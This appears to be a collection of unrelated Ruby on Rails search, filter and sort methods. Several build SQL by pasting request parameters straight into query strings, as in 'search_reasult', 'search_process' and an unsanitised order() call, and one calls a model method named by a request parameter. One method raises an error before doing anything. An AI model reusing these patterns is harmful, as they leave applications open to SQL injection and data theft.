"def search_reasult(search_params)\n puts search_params\n # Available FBA States\n @fba_states = [[\"All\", nil], [\"Picking Line\", [\"rfp\", \"assign_for_pickup\"]], [\"Packing Line\", [\"picked_up\", \"assign_for_packup\"]], [\"Out For Delivery\", [\"delivery\", \"redelivery\"]], [\"Cancelled\", [\"cancel\"]], [\"Completed\", [\"complete\", \"customer_complete\", \"self_collect_complete\", \"collect_complete\", \"return_complete\"]]]\n @customer_pickup = false\n\n # Collect all search params if available\n if params[:order].present?\n @customer_pickup = params[:order][:is_pick_at_store] == \"true\" ? true : false\n @seller_id = params[:order][:seller_id]\n @market_place_id = params[:order][:market_place_id]\n @fba_state = params[:order][:fba_state]\n @formatted_state = @fba_state.tr('\"', '').gsub(\"[\",\"\").gsub(\"]\",\"\").split(\",\").map(&:lstrip) if @fba_state.present?\n @search_text = params[:order][:search_text]\n end\n\n # Initialize an array to collect the search query condition\n @query_conditions = []\n\n if params[:created_at_lt].present? && params[:created_at_gt].present?\n st_date = params[:created_at_gt].to_date.beginning_of_day\n end_date = params[:created_at_lt].to_date.end_of_day\n @query_conditions << \" order_date BETWEEN '#{st_date}' AND '#{end_date}'\"\n end\n\n # Check for all search parameters and create query conditions accordingly\n if @customer_pickup.present?\n @query_conditions << \"spree_line_items.is_pick_at_store = #{@customer_pickup}\"\n end\n if @market_place_id.present?\n @query_conditions << \" market_place_id = #{@market_place_id}\"\n end\n if @search_text.present?\n @query_conditions << \" (number like '%#{@search_text}%' OR market_place_order_no like '%#{@search_text}%' OR cart_no like '%#{@search_text}%' OR fulflmnt_tracking_no like '%#{@search_text}%' OR spree_addresses.firstname like '%#{@search_text}%' )\"\n end\n if @formatted_state.present?\n # Check for selected seller and collect his orders and match selected fba state\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders.where(:fulflmnt_state => @formatted_state)\n else\n @orders = @orders.where(:fulflmnt_state => @formatted_state)\n end\n else\n if @seller_id.present?\n @seller = Spree::Seller.find(params[:order][:seller_id])\n @orders = @seller.orders\n end\n end\n\n # Combine all query conditions in single\n @query_conditions = @query_conditions.join(' and ')\n\n # Check for loged in user role\n if spree_current_user.has_spree_role?('seller')\n @market_places = spree_current_user.seller.market_places\n @seller = spree_current_user.try(:seller)\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n else\n @sellers = Spree::Seller.all\n @market_places = Spree::MarketPlace.all\n @orders = @orders.includes(:line_items,:ship_address).where(\"\"+@query_conditions)\n end\n end",
"def index\n\n filter = \"\"\n #Параметры быстрой фильтрации грида\n filter = get_qsearch_condition(filter,params[:search])\n #Параметры фильтрации грида\n if not (params[:filter].nil? or params[:filter].empty?) then\n filter = get_string_condition(filter,'name_f',params[:filter])\n filter = get_string_condition(filter,'name_i',params[:filter])\n filter = get_string_condition(filter,'name_o',params[:filter])\n filter = get_string_condition(filter,'address',params[:filter])\n filter = get_string_condition(filter,'work_place',params[:filter])\n filter = get_string_condition(filter,'work_position',params[:filter])\n filter = get_string_condition(filter,'description',params[:filter])\n filter = get_integer_condition(filter,'sex',params[:filter])\n filter = get_date_condition(filter,'birth_date',params[:filter])\n filter = get_age_condition(filter,'age','birth_date',params[:filter])\n end\n\n #Максимальное кол-во строк в гриде\n @maxrows = 100\n if not (params[:maxrows].nil? or params[:maxrows].empty?) then\n @maxrows = params[:maxrows].to_i\n end\n if @maxrows > 100 or @maxrows <= 0 then\n @maxrows = 100\n end\n\n if not (params[:sorting].nil? or params[:sorting].empty?) then\n #order\n order = \" \"\n for i in 0..params[:sorting].count-1 do\n sortval = params[:sorting][i.to_s]\n if sortval[:dataKey] == \"age\" then\n order += \" birth_date\"\n else\n order += \" \" + sortval[:dataKey]\n end\n if sortval[:sortDirection] == 'descending' then\n order += \" desc\"\n end\n\n if i != params[:sorting].count-1 then\n order += \",\"\n end\n end\n else\n order = \"name_f\"\n end\n order = sanitize_sql_local(order)\n\n if filter.nil? or filter.empty? then\n @patients = Patient.find(:all, :order=> order, :limit => @maxrows + 1, :offset =>0 )\n else\n @patients = Patient.find(:all,:conditions => filter.to_s, :order=> order, :limit => @maxrows + 1, :offset =>0 )\n end\n\n if @patients.count > @maxrows then\n @pages = 2\n else\n @pages = 1\n end\n @page = 1\n\n @can_edit = is_rights_patients_edit\n\n respond_to do |format|\n format.js # index.html.erb\n format.json #{ render json: @patients }\n format.xml { render xml: @patients }\n end\n end",
"def list_filter(counts: nil, **opt)\n # TODO: ???\n end",
"def search_and_sort(value, direction)\n if value.blank? && direction.blank?\n Technologist.all.order(\"technologists.name ASC\")\n elsif value.blank? && direction=='asc'\n Technologist.all.order(\"technologists.name ASC\")\n elsif value.blank? && direction=='desc'\n Technologist.all.order(\"technologists.name DESC\")\n elsif value && direction=='asc'\n Technologist.full_text_search(value).reorder(\"technologists.name ASC\").with_pg_search_rank\n elsif value && direction=='desc'\n Technologist.full_text_search(value).reorder(\"technologists.name DESC\").with_pg_search_rank\n else\n Technologist.full_text_search(value).with_pg_search_rank\n end\n end",
"def route_fuzzy_search\n errs = [ZeroDivisionError, ActiveRecord::RecordNotFound, ERR::NotFound404]\n raise errs.shuffle.first\n query = params[:query]\n result = Component::PaymentGateway::Domain\n .fuzzy_search(query)\n .includes(:currencies)\n .rate_wise\n end",
"def manipulate_sort_and_rows_params(solr_parameters)\n blacklight_sort = blacklight_params[:sort]\n if blacklight_params[:action] == 'bento'\n # rows should never be 0; skip next conditional clauses\n elsif blacklight_params[:q].nil? && blacklight_params[:f].nil? && blacklight_params[:search_field].blank?\n # these are conditions under which no actual record results are displayed; so set rows=0\n # `:landing` action should also be caught by this block\n solr_parameters[:sort] = ''\n solr_parameters[:rows] = 0\n return\n elsif blacklight_params[:search_field] == 'subject_correlation'\n solr_parameters[:presentation_domain] = '{!filters param=$fq excludeTags=cluster,no_correlation}'\n solr_parameters[:sort] = ''\n solr_parameters[:rows] = 0\n return\n end\n return if blacklight_sort.present? && blacklight_sort != 'score desc'\n access_f = blacklight_params.dig(:f, :access_f)\n if !blacklight_params[:q].present?\n # no q param (with or without facets) causes the default 'score' sort\n # to return results in a different random order each time b/c there's\n # no scoring to apply. if there's no q and user hasn't explicitly chosen\n # a sort, we sort by id to provide stable deterministic ordering.\n if blacklight_config.induce_sort\n induced_sort = blacklight_config.induce_sort.call(blacklight_params)\n if induced_sort\n solr_parameters[:sort] = induced_sort\n return\n end\n end\n sort = 'elvl_rank_isort asc,last_update_isort desc'\n if access_f.nil? || access_f.empty?\n # nothing\n elsif access_f.include? 'At the library'\n if access_f.size == 1\n # privilege physical holdings\n sort = \"min(def(hld_count_isort,0),1) desc,#{sort}\"\n end\n else\n # privilege online holdings\n sort = \"min(def(prt_count_isort,0),1) desc,#{sort}\"\n end\n else\n sort = solr_parameters[:sort]\n sort = 'score desc' if !sort.present?\n if access_f == nil || access_f.empty?\n sort << @@DEFAULT_INDUCED_SORT\n elsif access_f.size == 1 && access_f.first == 'At the library'\n sort << @@AT_THE_LIBRARY_INDUCED_SORT\n else\n sort << @@ONLINE_INDUCED_SORT\n end\n end\n solr_parameters[:sort] = sort\n end",
"def prepare(params)\n @query = Escaping.escape(params[:keywords] || \"\")\n @sorting = params[:sorting]\n @taxons = params[:taxon] unless params[:taxon].nil?\n @browse_mode = params[:browse_mode] unless params[:browse_mode].nil?\n if params[:search]\n # price\n if params[:search][:price]\n @price_min = params[:search][:price][:min].to_f\n @price_max = params[:search][:price][:max].to_f\n end\n # discount_rate\n if params[:search][:discount]\n @discount_min = params[:search][:discount][:min].to_f\n @discount_max = params[:search][:discount][:max].to_f\n end\n # properties\n @properties = params[:search][:properties]\n end\n\n @per_page = (params[:per_page].to_i <= 0) ? Spree::Config[:products_per_page] : params[:per_page].to_i\n @page = (params[:page].to_i <= 0) ? 1 : params[:page].to_i\n end",
"def search\n unless params[:query].blank?\n @listings = custom_search(params[:query])\n #print \"\\n\\n\\n***203 #{@listings}***\\n\\n\\n\"\n @header_type = \"Search for \\\"\" + params[:query] + \"\\\"\"\n \n #will render search.rhtml by default\n else\n browse\n end\n end",
"def index \n @filter = params[:filter] || \"order_by_title\"\n @books = Book.send(@filter) # Filter book index based on a filter param - default is order by title\n end",
"def search_a1books(query,type)\n #@@logger.info(\"Search a1books..\")\n #@@logger.info(query)\n mtype= type[:search_type]\n\n #@@logger.info(mtype)\n\n prices=[]\n if mtype != 'books' then\n #@@logger.info ('----------------Ignoring search on a1books---------------------------------------------')\n price_info = {:price=> -999, :author=> 'fake',:name=>'fake', :img => 'fake', :url => 'fake', :source=>'Rediff', :weight => -999}\n prices.push(price_info)\n return prices\n end\n url =\"http://www.a1books.co.in/searchresult.do?searchType=books&keyword=#{query[:search_term]}&fromSearchBox=Y&partnersite=a1india&imageField=Go\"\n page = self.fetch_page(url)\n\n begin\n price_text = page.search(\"span.salePrice\").map { |e| \"#{e.text.tr('A-Za-z,','')}\" }\n name_text = page.search(\"table.section a.label\").map{ |e| \"#{e.text}\" }\n author_text = page.search(\"table.section td[@width='100%']\").map{ |e| \"#{e.text}\" }\n url_text = page.search(\"table.section a.label[@href]\").map{|e| e['href'] }\n discount_text =\"\" \n shipping_text =\"\"\n \n \n (0...price_text.length).each do |i|\n author = author_text[i]\n name = name_text[i].strip\n search_index = author.index(name) \n if search_index != nil then \n author = author[search_index+name.length..author.length]\n end\n if (name_text[i] == nil && author != nil) then\n weight,cost = find_weight(author, \"#{query[:search_term]}\" )\n elsif (name_text[i] !=nil && author == nil) then\n weight,cost = find_weight(name_text[i], \"#{query[:search_term]}\" )\n else\n weight,cost = find_weight(name_text[i]+\" \"+author, \"#{query[:search_term]}\" )\n end \n if (weight > 0) then\n price_info = {:price => price_text[i],:author=>proper_case(author), :name=>proper_case(name_text[i]), :img=>\"\",:url=>\"http://a1books.co.in\"+url_text[i], :source=>'A1Books', :weight=>weight, :discount=>discount_text, :shipping => shipping_text} \n prices.push(price_info)\n end\n end\n rescue => ex\n #Just ignore this error\n #@@logger.info (\"#{ex.class} : #{ex.message}\")\n end\n prices\n end",
"def index\n @restaurants = Restaurant.all\n filter_by_query if params[:q]\n filter_by_city if params[:city]\n filter_by_category if params[:category]\n end",
"def map_search(search,compare,year,rain_fall_type)\n if search == \"All\"\n if rain_fall_type == \"All\"\n where(Year: year).order(:id)\n else\n where(Year: year).order(rain_fall_type)\n end\n \n \n else\n # where(Districts: search)\n where(Year: year).order(rain_fall_type)\n end\n end",
"def perform_search\n terms = { vehicle_year: 2006,\n vehicle_brand: \"Yamaha\",\n vehicle_model: \"Yz250\",\n vehicle_submodel: \"-- Base\",\n category_name: \"Complete Wheel Assembly\" }\n perform_search(terms)\n end",
"def index\n\n # gather data for pull down lists\n @collections = Collection.select_list\n @periods = Period.select_list\n @genres = Subject.genres.where(['subject_translations.locale=?', :en.to_s]).order('subject_translations.name')\n \n @page = params[:page] || 1\n @per_page = params[:per_page] || Item.per_page || 100\n\n @sort_field = params[:c] ||= 'items.id'\n @order = sort_order('items.id') unless @sort_field == 'title_en' || @sort_field == 'title_fa'\n\n # look for filters\n @keyword_filter = params[:keyword_filter] unless params[:keyword_filter] == I18n.translate(:search_prompt)\n @collection_filter = params[:collection_filter]\n @period_filter = params[:period_filter]\n @genre_filter = params[:genre_filter]\n\n # unless @keyword_filter.nil? && @collection_filter.nil? && period_filer.nil? && subject_type_filter.nil?\n\n @query_hash = { :conditions => [], :parameters => { } }\n @query_hash = build_collection_query(@collection_filter, @query_hash) unless @collection_filter.nil? || @collection_filter == 'all'\n @query_hash = build_period_query(@period_filter, @query_hash) unless @period_filter.nil? || @period_filter == 'all'\n # @query_hash = build_person_query(@person_filter, @query_hash) unless @person_filter.nil? || @person_filter == 'all'\n # @query_hash = build_subject_query(@subject_filter, @query_hash) unless @subject_filter.nil? || @subject_filter == 'all'\n # @query_hash = build_place_query(@place_filter, @query_hash) unless @place_filter.nil? || @place_filter == 'all'\n @query_hash = build_genre_query(@genre_filter, @query_hash) unless @genre_filter.nil? || @genre_filter == 'all'\n @query_hash = build_keyword_query(@keyword_filter, @query_hash) unless @keyword_filter.blank? || @keyword_filter == I18n.translate(:search_prompt)\n\n # assemble the query from the two sql injection safe parts\n @query_conditions = ''\n @query_hash[:conditions].each do |condition|\n @query_conditions += (@query_conditions.blank? ? '': ' AND ') + condition\n end\n\n @query = [@query_conditions, @query_hash[:parameters]]\n\n @items = Item.where(@query).order(@order)\n\n @items = sort_bilingual(@items, params[:c], params[:d]) if [\"title_en\", \"title_fa\"].include?params[:c]\n\n #cache the current search set in a session variable\n session[:current_items] = @items.map { |i| i.id }\n session[:items_sort_field] = params[:c]\n session[:items_direction] = params[:d]\n session[:items_order] = @order\n\n @items_full_set = @items\n @items = @items.paginate :per_page => @per_page, :page => @page, :order => @order\n\n #cache the current search set in a session variable\n session[:admin_items_index_url] = request.fullpath\n\n respond_to do |format|\n format.html # index.html.erb\n format.csv do\n csv_string = make_custom_csv(@items_full_set)\n # send it to the browsah\n send_data csv_string,\n :type => 'text/csv; charset=utf-8; header=present',\n :disposition => \"attachment; filename=items.csv\"\n end\n format.xml { render :xml => @items_full_set }\n end\n end",
"def search(user, query, collection, wiki)\n end",
"def index\n\n #if params.size > 2 && !params[:sort]\n # filters = Hash.new\n # loaded_params = params.slice(:sleeve, :neckline, :silhouette, :fabric, :length, :price, :train, :finish, :color)\n # loaded_params.each_pair do |key, value|\n # filters[key] = value\n # end\n # @dresses = @dresses.where{filters}\n #end\n if params['filters']\n filters = Hash.new\n session[:filters] = params['filters']\n params['filters'].each_pair do |key, value|\n filter_type = key.split(\"_\")[0]\n filters[filter_type] ||= []\n filters[filter_type] << value\n end\n filters.each_pair do |key, value| \n @dresses = @dresses.where{__send__(key).like_any value}\n end \n else\n session[:filters] = params['filters']\n if session[:filters]\n filters = Hash.new\n session[:filters].each_pair do |key, value|\n key = key.gsub(/[0-9|_]/i,'')\n filters[key] ||= []\n filters[key] << value\n end\n @dresses = @dresses.where{filters}\n end\n session[:filters] = nil\n end\n # if session[:filters]\n # @dresses = @dresses.where{session[:filters]}\n # end \n @dresses = @dresses.order(\"#{params[:sort]} desc\") if params[:sort]\n @featured_dresses = @dresses.where{featured > 0}.order(\"featured desc\")\n @regular_dresses = @dresses - @featured_dresses\n\n respond_to do |format|\n format.js\n format.html # index.html.erb\n format.json { render json: @dresses }\n end\n\n end",
"def index\n puts \"params are #{params}\"\n sortby = params[\"sort\"]\n puts \"sort is #{sortby} is it an attribute? #{PaldemicFile.has_attribute? sortby}\"\n #if nothing is passed in, default to total_votes\n sortby ||= \"total_votes\"\n @paldemic_files = PaldemicFile.all\n if(!PaldemicFile.method_defined? sortby) && (!PaldemicFile.has_attribute? sortby)\n #if what is passed in is total gargbage , total votes\n puts \"couldn't find #{sortby} so using total votes instead\"\n sortby ||= \"total_votes\"\n end\n reverse = params[\"reverse\"] == \"true\"\n puts \"reverse is #{reverse}\"\n @paldemic_files = PaldemicFile.sortShenanigans(@paldemic_files, sortby,reverse)\n\n end",
"def run_query(symbols, query, filter_proc=nil, sort_proc=nil)\n results = []\n if symbols.size > 100\n # create batches so that the GET has less than 4096 chars\n batches = symbols.size / 100 + 1\n (1..batches).each { |batch_id|\n index_start = (batch_id - 1) * 100\n index_end = (batch_id * 100) - 1\n index_end = symbols.size - 1 if index_end > (symbols.size - 1)\n logger.info(\"Running batch: #{index_start} - #{index_end} of #{symbols.size}\")\n q = query + 'symbol in (\"' + symbols[index_start..index_end].join('\",\"') + '\")'\n logger.debug(q)\n url = QUERY_URL.gsub(\"sql\", CGI.escape(q))\n logger.debug(url)\n response = Net::HTTP.get_response(URI.parse(url))\n logger.debug(response)\n if response.is_a?Net::HTTPOK\n j_response = JSON.parse(response.body)\n logger.debug(j_response)\n if filter_proc\n results << j_response['query']['results']['quote'].select { |x| filter_proc.call(x) }\n else\n results << j_response['query']['results']['quote']\n end\n end\n }\n else\n query = query + 'symbol in (\"' + symbols.join('\",\"') + '\")'\n logger.info(query)\n url = QUERY_URL.gsub(\"sql\", CGI.escape(query))\n logger.debug(url)\n response = Net::HTTP.get_response(URI.parse(url))\n logger.info(response.inspect)\n if response.is_a?Net::HTTPOK\n j_response = JSON.parse(response.body)\n logger.debug(j_response)\n if j_response and j_response.has_key?'query' and j_response['query'].has_key?'results' and j_response['query']['results']\n if filter_proc\n results << j_response['query']['results']['quote'].select { |x| filter_proc.call(x) }\n else\n results << j_response['query']['results']['quote']\n end\n end\n end\n end\n results.flatten!\n logger.debug(\"Final results before sort: #{results}\")\n results.sort!{ |a,b| sort_proc.call(a,b) } if sort_proc\n logger.debug(\"Final results after sort: #{results}\")\n results\n end",
"def condition_sort(input)\n poke_name = input.poke_name\n product_db = SearchRecord::For.klass(Entity::Product)\n case input.sort\n when 'id'\n product_db.find_full_name(poke_name)\n when 'likes_DESC'\n product_db.order_by_desc_likes(poke_name)\n when 'likes_ASC'\n product_db.order_by_asc_likes(poke_name)\n when 'rating_DESC'\n product_db.order_by_desc_rating(poke_name)\n when 'rating_ASC'\n product_db.order_by_asc_rating(poke_name)\n when 'price_DESC'\n product_db.order_by_desc_price(poke_name)\n else\n # priceASC\n product_db.order_by_asc_price(poke_name)\n end\n end",
"def search_implementation(args)\n\n # 'args' should be a normalized search arguments hash including the following elements:\n # :query, :per_page, :start, :page, :search_field, :sort, :oq\n bento_results = BentoSearch::Results.new\n q = URI.encode_www_form({:ignore => args[:oq]}).gsub(\"ignore=\",\"\").gsub(\"+\",\"%20\")\n uri = URI.join(\"https://bestbets.library.cornell.edu/match/\", q)\n best_bet = []\n begin\n best_bet = JSON.load(uri)\n rescue Exception => e\n best_bet = []\n result = BentoSearch::ResultItem.new\n Rails.logger.error \"Runtime Error: #{__FILE__} #{__LINE__} Error:: #{e.inspect}\"\n end\n Rails.logger.debug \"mjc12test: #{__FILE__} #{__LINE__} got back: #{best_bet}\"\n result = BentoSearch::ResultItem.new\n\n # Because all our facets are packaged in a single query, we have to treat this as a single result\n # in order to have bento_search process it correctly. We'll split up into different facets\n # once we get back to the controller!\n\n # If there is a best bet, it should look like this:\n # [{\"id\"=>1, \"name\"=>\"Oxford English Dictionary\",\n # \"url\"=>\"http://resolver.library.cornell.edu/misc/3862894\",\n # \"created_at\"=>\"2014-02-10T21:22:53.000Z\", \"updated_at\"=>\"2014-02-11T21:14:28.000Z\"}]\n result.title = best_bet[0][\"name\"] unless best_bet.empty?\n result.link = best_bet[0][\"url\"] unless best_bet.empty?\n\n bento_results << result unless best_bet.empty?\n bento_results.total_items = 1 unless best_bet.empty?\n\n return bento_results\n end",
"def filter_sellers\n params[:q] ||= {}\n params[:q][:visible] ||= '0'\n params[:q][:popular] ||= '0'\n params[:q][:main_category_id] ||= nil\n params[:q][:account_code] ||= nil\n\n @seller = if params[:list_type].chomp('s') == BuybidCommon::BusinessNames::AUCTION\n Buybid::Seller.auction\n elsif params[:list_type].chomp('s') == BuybidCommon::BusinessNames::SHOP\n Buybid::Seller.shop\n elsif params[:list_type].chomp('s') == BuybidCommon::BusinessNames::PARTNER\n Buybid::Seller.partner\n elsif params[:list_type].chomp('s') == BuybidCommon::BusinessNames::STORE\n Buybid::Seller.store\n else\n Buybid::Seller.all\n end\n\n # set default sort in created at with desc\n params[:q][:s] ||= 'created_at desc'\n \n #================================\n @q = @seller.ransack(params[:q])\n @sellers = @q.result.all\n #================================\n \n if params[:q][:account_code].present?\n @sellers = @sellers.where(account_code: params[:q][:account_code])\n end\n\n # filter with visible\n if params[:q][:visible] == '1'\n @sellers = @sellers.visible\n elsif params[:q][:visible] == '2'\n @sellers = @sellers.not_visible\n end\n\n # filter with popular\n if params[:q][:popular] == '1'\n @sellers = @sellers.popular\n elsif params[:q][:popular] == '2'\n @sellers = @sellers.not_popular\n end\n\n # filter with main category id\n if params[:q][:main_category_id].present?\n @sellers = @sellers.where(main_category_id: params[:q][:main_category_id])\n end\n\n @sellers = @sellers.page(params[:page]).per(params[:per_page])\n @sellers_count = @sellers.where(is_deleted: 0).to_a.count\n end",
"def index\n @query = params[:q].to_s\n if @query.to_s != ''\n str = \"%\" + @query + \"%\"\n @products = Product.full.where([\"products.name LIKE ? OR products.drawing LIKE ? OR products.inventory_number LIKE ? OR products.amount_sections LIKE ?\", str,str,str,str])\n .page(params[:page]).per(12)\n else\n @products = Product.full.page(params[:page]).per(12)\n end\n end",
"def execute\n perform_filtration(context)\n .then(&method(:paginate))\n .then(&method(:sort))\n end",
"def index\n\tif params[:order] == nil\n params[:order] = 'created_at DESC'\n\tend\n @q = Filter.ransack(params[:q])\n @filters = @q.result.order(params[:order]).paginate(page: params[:page]) if params[:q].present?\n @filters = Filter.order(params[:order]).paginate(page: params[:page]) unless params[:q].present?\n @filter = Filter.new\n end",
"def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\[email protected] do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end",
"def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\[email protected] do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end",
"def filter_search\n @subjects = PipelinePositionsSubject.find(:all,:order=>\"name\")\n @grades = PipelinePositionsGradeLevel.all\n @formats = PipelinePositionsTutoringType.find(:all,:order=>\"name\")\n \n @schools = School.find(:all,:order => \"organizations.name\")\n\n @neighborhoods = @schools.collect{|school| school.locations[0].neighborhood rescue nil}.compact.uniq.sort\n \n @pipeline_positions = generate_pipeline_search(true)\n end",
